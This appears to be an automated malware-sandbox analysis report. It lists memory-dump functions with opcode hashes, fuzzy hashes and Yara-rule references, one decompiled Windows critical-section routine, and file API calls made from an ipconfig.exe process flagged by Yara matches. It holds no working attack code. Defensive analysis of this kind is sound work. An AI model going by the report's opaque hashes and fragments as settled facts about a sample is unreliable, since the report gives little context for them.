Instruction ID: 89baf6c053f89690602edbdc85e8bfba0c536c5badee2e51daa6cdaf8a2757af
Opcode Fuzzy Hash: 19fc291e8996953b33fa49409903d33ed26853773db1ee4651cde43e6b64ddde
Instruction Fuzzy Hash: 599002E1211140964610A2598445B0A451597F4292B91C026E1044561DC6658861B175

Uniqueness

Uniqueness Score: -1.00%

Function 057295F0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9807d3477ab4a777300b7b5f6f92867ef5957d777ae37833dfd0c43fd40125d1
Instruction ID: 5858ccb813e490d84cd7b88f83005d61d141edcd8a2c3641d8ad5911c3e2c4bd
Opcode Fuzzy Hash: 9807d3477ab4a777300b7b5f6f92867ef5957d777ae37833dfd0c43fd40125d1
Instruction Fuzzy Hash: E490027121100806D21461594845686001597E4392F91C021A6014656F97A588A17171

Uniqueness

Uniqueness Score: -1.00%

Function 057299D0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 358a1c84512d78225345f9e5b77465af8be2da9616020a313297c7bcb45cd2d1
Instruction ID: 56b11649c9864cb2cc5fea01efda7184360ef88d022ec8753e0605f6176f606a
Opcode Fuzzy Hash: 358a1c84512d78225345f9e5b77465af8be2da9616020a313297c7bcb45cd2d1
Instruction Fuzzy Hash: C59002A122100046D21461594445706005597F5292F91C022A2144555DC6698C717165

Uniqueness

Uniqueness Score: -1.00%

Function 0572B040, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b12f51064b8efffbf9ca2e8a016c590a726ef738658a0149074830a6b6ca632
Instruction ID: fb7049918ffe05cd2cbbcee1314b5d8787312bc1ffc20e3885272b8441526bef
Opcode Fuzzy Hash: 3b12f51064b8efffbf9ca2e8a016c590a726ef738658a0149074830a6b6ca632
Instruction Fuzzy Hash: 969002A1611140474650B15948454065025A7F53923D1C131A0444561D87A88865B2A5

Uniqueness

Uniqueness Score: -1.00%

Function 05729820, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 640eee3187e7ec27c1a41a7bdd2cc551df96e5009eb8cc15326da70a1c0dce8e
Instruction ID: 02efb49e5e6003b1051508b0b371703d6bdc7f4ff5dc00686b62d38a4501bef1
Opcode Fuzzy Hash: 640eee3187e7ec27c1a41a7bdd2cc551df96e5009eb8cc15326da70a1c0dce8e
Instruction Fuzzy Hash: 2290027125100406D251715944456060019A7E42D2FD1C022A0414555F87958A66BAA1

Uniqueness

Uniqueness Score: -1.00%

Function 057298F0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 705e7d3ade80b43c35f36068d2f782633196a44b0e5df4205cdb3b1e2f1ffbf9
Instruction ID: 28f85057e79b88d2934522dd178e27c9e4141228d3a647735572337bc323c729
Opcode Fuzzy Hash: 705e7d3ade80b43c35f36068d2f782633196a44b0e5df4205cdb3b1e2f1ffbf9
Instruction Fuzzy Hash: CE90026161100506D21171594445616001A97E42D2FD1C032A1014556FCB6589A2B171

Uniqueness

Uniqueness Score: -1.00%

Function 057298A0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b13c82b679df2646cf5b56b15519b0e1e26b62966c2cf29beb37e4a01742abc4
Instruction ID: 9b86a91b2819c258d5bde1ced509f6a2b012709b2fe0b0d6e8f24ef770f17103
Opcode Fuzzy Hash: b13c82b679df2646cf5b56b15519b0e1e26b62966c2cf29beb37e4a01742abc4
Instruction Fuzzy Hash: 2490026131100406D212615944556060019D7E53D6FD1C022E1414556E87658963B172

Uniqueness

Uniqueness Score: -1.00%

Function 0572A770, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f58ff4ef01915141760878916e7d53fdc7ec70cb426bdc005188ecaece355669
Instruction ID: 17a46510497d12f11a32b60f7574021bcc40c6730c0ec30069263713d2a3081c
Opcode Fuzzy Hash: f58ff4ef01915141760878916e7d53fdc7ec70cb426bdc005188ecaece355669
Instruction Fuzzy Hash: 7B90027521504446D61065595845A87001597E4396F91D421A041459DE87948871B161

Uniqueness

Uniqueness Score: -1.00%

Function 05729770, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7e9b22e982a0973f7b162eeb84914f5c099cdb2466394c2de01c0dd9458ffd2
Instruction ID: 516d28f88fe2b53427d1e6b39e4fc08638065750aa79ddb767c0ff6f78d95985
Opcode Fuzzy Hash: a7e9b22e982a0973f7b162eeb84914f5c099cdb2466394c2de01c0dd9458ffd2
Instruction Fuzzy Hash: 8F90026121504446D21065595449A06001597E4296F91D021A1054596EC7758861B171

Uniqueness

Uniqueness Score: -1.00%

Function 05729760, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dce10b8ecab5a172e73e78763a703f1fccf6dde38dc06c92ceb2ee9f2965243
Instruction ID: 40457c817dab1180e3a35df2adb5891eb4b4b73405a462782e7f7b8264447a24
Opcode Fuzzy Hash: 4dce10b8ecab5a172e73e78763a703f1fccf6dde38dc06c92ceb2ee9f2965243
Instruction Fuzzy Hash: CE90027121100407D21061595549707001597E4292F91D421A0414559ED79688617161

Uniqueness

Uniqueness Score: -1.00%

Function 05729730, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4758c5970966250d501cffcd2546ac9e12a74fd0bf5a213d162b412bc7224537
Instruction ID: 3ba8c2d53b69e1e8a6bc05a2eef3171c812e652f70ae410ce0a1ae6c2b7a9075
Opcode Fuzzy Hash: 4758c5970966250d501cffcd2546ac9e12a74fd0bf5a213d162b412bc7224537
Instruction Fuzzy Hash: F890026161500406D25071595459706002597E4292F91D021A0014555EC7998A6576E1

Uniqueness

Uniqueness Score: -1.00%

Function 0572A710, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c048350f8829b0656b3d7b3b6da4bf01dbd68672bb7d8babd0621063905bd16f
Instruction ID: 0d606a501802c86a0d25526d8de5ec264628a32d45ad24698d95fdb9ab7026e6
Opcode Fuzzy Hash: c048350f8829b0656b3d7b3b6da4bf01dbd68672bb7d8babd0621063905bd16f
Instruction Fuzzy Hash: 4B900271311000569610A6995845A4A411597F4392B91D025A4004555D869488717161

Uniqueness

Uniqueness Score: -1.00%

Function 05729B00, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1f10b74e59ad31f595d8c6cff61a7c87c400fbc77a1e2f12143f18db6a30e9d
Instruction ID: 3b96fa61b5cd4304e6cca34ba540b860b90f6dbdaac0ea19484ab4f475bd165b
Opcode Fuzzy Hash: e1f10b74e59ad31f595d8c6cff61a7c87c400fbc77a1e2f12143f18db6a30e9d
Instruction Fuzzy Hash: 9990026125100806D250715984557070016D7E4692F91C021A0014555E8756897576F1

Uniqueness

Uniqueness Score: -1.00%

Function 05729FE0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9edb2a7a3b7174f8a70de5f03c7f4482c0563aef0e0e00ba7401cd7fd6357e8c
Instruction ID: ed7396873320ec99b1c4d56a5a315195b79906b7845765ff2e57df019cd8e06b
Opcode Fuzzy Hash: 9edb2a7a3b7174f8a70de5f03c7f4482c0563aef0e0e00ba7401cd7fd6357e8c
Instruction Fuzzy Hash: CB90027132114406D22061598445706001597E5292F91C421A0814559E87D588A17162

Uniqueness

Uniqueness Score: -1.00%

Function 0572A3B0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8c1a66cd1b6c0ae492952dced84b3bfb105e8b6c8824bfd5375c9837a83e652
Instruction ID: 9cd2a107513d8ec2f793feb8a09767e8cd6f61a2b4e4500ee98e69c16b02df2b
Opcode Fuzzy Hash: f8c1a66cd1b6c0ae492952dced84b3bfb105e8b6c8824bfd5375c9837a83e652
Instruction Fuzzy Hash: 9890027121144006D2507159848560B5015A7F4392F91C421E0415555D87558866B261

Uniqueness

Uniqueness Score: -1.00%

Function 05729660, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ea8054e57f8b46522c4fdfc6d9f88ff275de3f57d2cc45224a0c4c6c04c64ce
Instruction ID: af0a67a0c941d1b870448222a714c59f406596a4932cfa756dbc324d37023a35
Opcode Fuzzy Hash: 3ea8054e57f8b46522c4fdfc6d9f88ff275de3f57d2cc45224a0c4c6c04c64ce
Instruction Fuzzy Hash: 7290027121100806D2907159444564A001597E5392FD1C025A0015655ECB558A6977E1

Uniqueness

Uniqueness Score: -1.00%

Function 05729650, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 866fb6d9a8a53a385f02f42b65c6586f4827f221a4829ee8cf6013fe4fb5a563
Instruction ID: 8b623b75c32feb2d7bf0054386ab77b317eb803bf3d2400ae2d1d6ac13cef456
Opcode Fuzzy Hash: 866fb6d9a8a53a385f02f42b65c6586f4827f221a4829ee8cf6013fe4fb5a563
Instruction Fuzzy Hash: 8B90027121504846D25071594445A46002597E4396F91C021A0054695E97658D65B6A1

Uniqueness

Uniqueness Score: -1.00%

Function 05729610, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf7b9ccd822159b42901c574ef1c40a96343210153ff063dfd12d78876b96783
Instruction ID: 9ef90d10823419498496f927d855bd7f951a4a4e3df9607ab978d58a68d49c11
Opcode Fuzzy Hash: bf7b9ccd822159b42901c574ef1c40a96343210153ff063dfd12d78876b96783
Instruction Fuzzy Hash: A990027161500806D26071594455746001597E4392F91C021A0014655E87958A6576E1

Uniqueness

Uniqueness Score: -1.00%

Function 05729A10, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22089759234c7f8dd5cb1062c0788871d81b952cf6faabc74b35accb8bc99734
Instruction ID: 9d5bb6dbe4f0440de58a87e9787c0f8d048fc1f37f4bbf216b5a6e23e9935a41
Opcode Fuzzy Hash: 22089759234c7f8dd5cb1062c0788871d81b952cf6faabc74b35accb8bc99734
Instruction Fuzzy Hash: 0790027121140406D21061594849747001597E4393F91C021A5154556F87A5C8A17571

Uniqueness

Uniqueness Score: -1.00%

Function 05729A00, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c2c4941beb54cdc96024be829e8cde9b003819c7a0d690353cf666d5aa670da
Instruction ID: 23fcc0871dcf713c3eef6101d7775bb5d503858cbb4ff0bd39af7c63683aacad
Opcode Fuzzy Hash: 2c2c4941beb54cdc96024be829e8cde9b003819c7a0d690353cf666d5aa670da
Instruction Fuzzy Hash: EC90027121140406D2106159485570B001597E4393F91C021A1154556E8765886175B1

Uniqueness

Uniqueness Score: -1.00%

Function 057296D0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7da0752597acbf4b0f13ecf13264446892ff320c84728050acb856d4bf2db59c
Instruction ID: d081898ae077ca6d25dc88ddf32c318b54a73ec25e55c798fe09246f674061fc
Opcode Fuzzy Hash: 7da0752597acbf4b0f13ecf13264446892ff320c84728050acb856d4bf2db59c
Instruction Fuzzy Hash: 0690027121100846D21061594445B46001597F4392F91C026A0114655E8755C8617561

Uniqueness

Uniqueness Score: -1.00%

Function 05729A80, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8595442ac6b2f2244270101e2ba6d1a1bfb03f9abaf718644946d0c35f7828f
Instruction ID: 52b89e876095484d3611a9cab241a61bca5761119ccc74e2e1190df48f4fc2b8
Opcode Fuzzy Hash: c8595442ac6b2f2244270101e2ba6d1a1bfb03f9abaf718644946d0c35f7828f
Instruction Fuzzy Hash: 1B90026121144446D25062594845B0F411597F5293FD1C029A4146555DCA5588657761

Uniqueness

Uniqueness Score: -1.00%

Function 05729670, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: 6eae9b5c1fac34928c4710c40067af1aaea0988e6141dc107801b9ddf51dae2e
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0577FDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0577FDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E0572CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E05775720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E05775720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x0577fdda
0x0577fde2
0x0577fde5
0x0577fdec
0x0577fdfa
0x0577fdff
0x0577fe0a
0x0577fe0f
0x0577fe17
0x0577fe1e
0x0577fe19
0x0577fe19
0x0577fe19
0x0577fe20
0x0577fe21
0x0577fe22
0x0577fe25
0x0577fe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0577FDFA

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 0577FE01
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 0577FE2B

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: 2253bd20da82ae200f92c20ec7474703828131b0a4cae9f37ac845a3bab15e52
Instruction ID: df5341200388caa6cdcf11614c85bf4c968b9e0774b8394ff4d244475a29c840
Opcode Fuzzy Hash: 2253bd20da82ae200f92c20ec7474703828131b0a4cae9f37ac845a3bab15e52
Instruction Fuzzy Hash: 1AF0F676640605BFEA201A55ED0AF23BB6AEB44730F140354F628561D1DAA2FC20E6F0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ipconfig.exe PID: 1040 Parent PID: 3440 ipconfig.exeCOMMON

Executed Functions

Function 009A9D5D, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,009A4B87,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,009A4B87,007A002E,00000000,00000060,00000000,00000000), ref: 009A9DAD

Strings

U, xrefs: 009A9D5D
.z`, xrefs: 009A9D9D, 009A9DA8

Memory Dump Source

Source File: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, Offset: 00990000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`$U
API String ID: 823142352-510634365
Opcode ID: 015145e0c0070a3f71fde154bb9fa7a0b3b79945905c1f3a179aea5c2ff68d57
Instruction ID: b59ac26d77b12089ff39835931f64367ef1d14929519615b9a5490ecc12454f2
Opcode Fuzzy Hash: 015145e0c0070a3f71fde154bb9fa7a0b3b79945905c1f3a179aea5c2ff68d57
Instruction Fuzzy Hash: 6A01B2B2204208AFCB48CF88DC95EEB37E9AF8C754F158248FA1D97241C630E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 009A9D60, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,009A4B87,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,009A4B87,007A002E,00000000,00000060,00000000,00000000), ref: 009A9DAD

Strings

.z`, xrefs: 009A9D9D, 009A9DA8

Memory Dump Source

Source File: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, Offset: 00990000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction ID: 6f359409d102f37c613d26baad5c696cc7f97c6785f4873abc7494a8d88208f1
Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction Fuzzy Hash: B3F0B2B2200208AFCB48CF88DC85EEB77ADAF8C754F158248BA0D97241C630E811CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 009A9E0B, Relevance: 1.5, APIs: 1, Instructions: 38filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(009A4D42,5EB6522D,FFFFFFFF,009A4A01,?,?,009A4D42,?,009A4A01,FFFFFFFF,5EB6522D,009A4D42,?,00000000), ref: 009A9E55

Memory Dump Source

Source File: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, Offset: 00990000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: ef3a8350767a8355e72e3ba190e628fb5641346ede6239916ea29cf7f2dfe32b
Instruction ID: 892e9946b02a1e8a453ff2756153ef27a7150d925dc6b09b66c07158ef1fe47c
Opcode Fuzzy Hash: ef3a8350767a8355e72e3ba190e628fb5641346ede6239916ea29cf7f2dfe32b
Instruction Fuzzy Hash: 00F092B6200108AFDB14DF99DC81EEB77ADEF8C754F158249BA1DA7251D630E8118BA0

Uniqueness

Uniqueness Score: -1.00%

Function 009A9E10, Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(009A4D42,5EB6522D,FFFFFFFF,009A4A01,?,?,009A4D42,?,009A4A01,FFFFFFFF,5EB6522D,009A4D42,?,00000000), ref: 009A9E55

Memory Dump Source

Source File: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, Offset: 00990000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction ID: 662887871a5bee48321abf9b2fea87581e0a9b61c990a45219bad6f5639a45de
Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction Fuzzy Hash: 4DF0B7B2200208AFCB14DF89DC81EEB77ADEF8C754F158248BE1DA7241D630E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 009A9E8A, Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(009A4D20,?,?,009A4D20,00000000,FFFFFFFF), ref: 009A9EB5

Memory Dump Source

Source File: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, Offset: 00990000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 8faeb8586e32b048a39c787d590fa611e83d1afeddafdd92cd28e3f511a79aee
Instruction ID: b4d5162269832d24142de4500910b941af61b86b87bd901e42dfd7b3129cc7cc
Opcode Fuzzy Hash: 8faeb8586e32b048a39c787d590fa611e83d1afeddafdd92cd28e3f511a79aee
Instruction Fuzzy Hash: 77E086751002187FD724DB98CC85FA77B5CEF89B50F154455BA189BA42D530F50086D0

Uniqueness

Uniqueness Score: -1.00%

Function 009A9E90, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(009A4D20,?,?,009A4D20,00000000,FFFFFFFF), ref: 009A9EB5

Memory Dump Source

Source File: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, Offset: 00990000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction ID: 5549d2b2ce560684ec339b1aa566aaafec9a265c3761ded7029b27caceb064dc
Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction Fuzzy Hash: 72D012752002146BD710EB98CC85F97775CEF84750F154455BA585B242C530F50086E0

Uniqueness

Uniqueness Score: -1.00%

Function 034A9A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 034A9A5A

Memory Dump Source

Source File: 00000004.00000002.604918702.0000000003440000.00000040.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000004.00000002.605174150.000000000355B000.00000040.00000001.sdmp Download File
Associated: 00000004.00000002.605193019.000000000355F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f97908c00e6df757b1c99bbc1728e7a4ffe7761925cb56e1ac6a87d133de6edf
Instruction ID: 03e8f5da69b13eb60bb74895ecc3fbdb4066cc6dd37d9313b8f8d2e321317da4
Opcode Fuzzy Hash: f97908c00e6df757b1c99bbc1728e7a4ffe7761925cb56e1ac6a87d133de6edf
Instruction Fuzzy Hash: B390026161184443D240A9694C14B470025D7D1343F51C566A0144954CCB5598616575

Uniqueness

Uniqueness Score: -1.00%

Function 034A9910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 034A991A

Memory Dump Source

Source File: 00000004.00000002.604918702.0000000003440000.00000040.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000004.00000002.605174150.000000000355B000.00000040.00000001.sdmp Download File
Associated: 00000004.00000002.605193019.000000000355F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5b336484d978f0f46927dd60cb023131e2f0eeb2a31794e8f52410f8d097b325
Instruction ID: 3db1fe36d20e93d0da4f6d14e6d9ddbc60ebbb2c290a4ced37dac5268e29ef8e
Opcode Fuzzy Hash: 5b336484d978f0f46927dd60cb023131e2f0eeb2a31794e8f52410f8d097b325
Instruction Fuzzy Hash: DD9002B160104803D180B55944047860025D7D1341F51C462A5054954EC7999DD576B9

Uniqueness

Uniqueness Score: -1.00%

Function 034A99A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 034A99AA

Memory Dump Source

Source File: 00000004.00000002.604918702.0000000003440000.00000040.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000004.00000002.605174150.000000000355B000.00000040.00000001.sdmp Download File
Associated: 00000004.00000002.605193019.000000000355F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e888dd151b07ad11a574af40ac7f603d20db55ee9d6aa37729745965d78846bc
Instruction ID: fd26644d3f43bdd3a9a7a4d7f26271f94a8f7104679094cd7ec707a337651291
Opcode Fuzzy Hash: e888dd151b07ad11a574af40ac7f603d20db55ee9d6aa37729745965d78846bc
Instruction Fuzzy Hash: 919002A174104843D140A5594414B460025D7E2341F51C466E1054954DC759DC52717A

Uniqueness

Uniqueness Score: -1.00%

Function 034A9840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 034A984A

Memory Dump Source

Source File: 00000004.00000002.604918702.0000000003440000.00000040.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000004.00000002.605174150.000000000355B000.00000040.00000001.sdmp Download File
Associated: 00000004.00000002.605193019.000000000355F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: db2d369a6b8b56e1417f65edeabb36ef8b027e8dc83825aa1c0da8707d7670da
Instruction ID: f21e0e04ce40c7325b769feb1b4384afb389c37192487d37370c42d309d8c606
Opcode Fuzzy Hash: db2d369a6b8b56e1417f65edeabb36ef8b027e8dc83825aa1c0da8707d7670da
Instruction Fuzzy Hash: 2F900261642085539585F55944045474026E7E1281791C463A1404D50CC766A856E675

Uniqueness

Uniqueness Score: -1.00%

Function 034A9860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 034A986A

Memory Dump Source

Source File: 00000004.00000002.604918702.0000000003440000.00000040.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000004.00000002.605174150.000000000355B000.00000040.00000001.sdmp Download File
Associated: 00000004.00000002.605193019.000000000355F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2d3b5196b0290795c83e1b3878a308285fb21b90dee864a375811d172a408c37
Instruction ID: f62b904cedc7ebbcc8c428e58a0590638b028b8d36c62266b3572ca7bc02ded0
Opcode Fuzzy Hash: 2d3b5196b0290795c83e1b3878a308285fb21b90dee864a375811d172a408c37
Instruction Fuzzy Hash: 2D90027160104813D151A55945047470029D7D1281F91C863A0414958DD7969952B175

Uniqueness

Uniqueness Score: -1.00%

Function 034A9710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 034A971A

Memory Dump Source

Source File: 00000004.00000002.604918702.0000000003440000.00000040.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000004.00000002.605174150.000000000355B000.00000040.00000001.sdmp Download File
Associated: 00000004.00000002.605193019.000000000355F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b4ff4755c70717d08d41cf161a6b539b7334140d39e8f8a8120e552fa258d79b
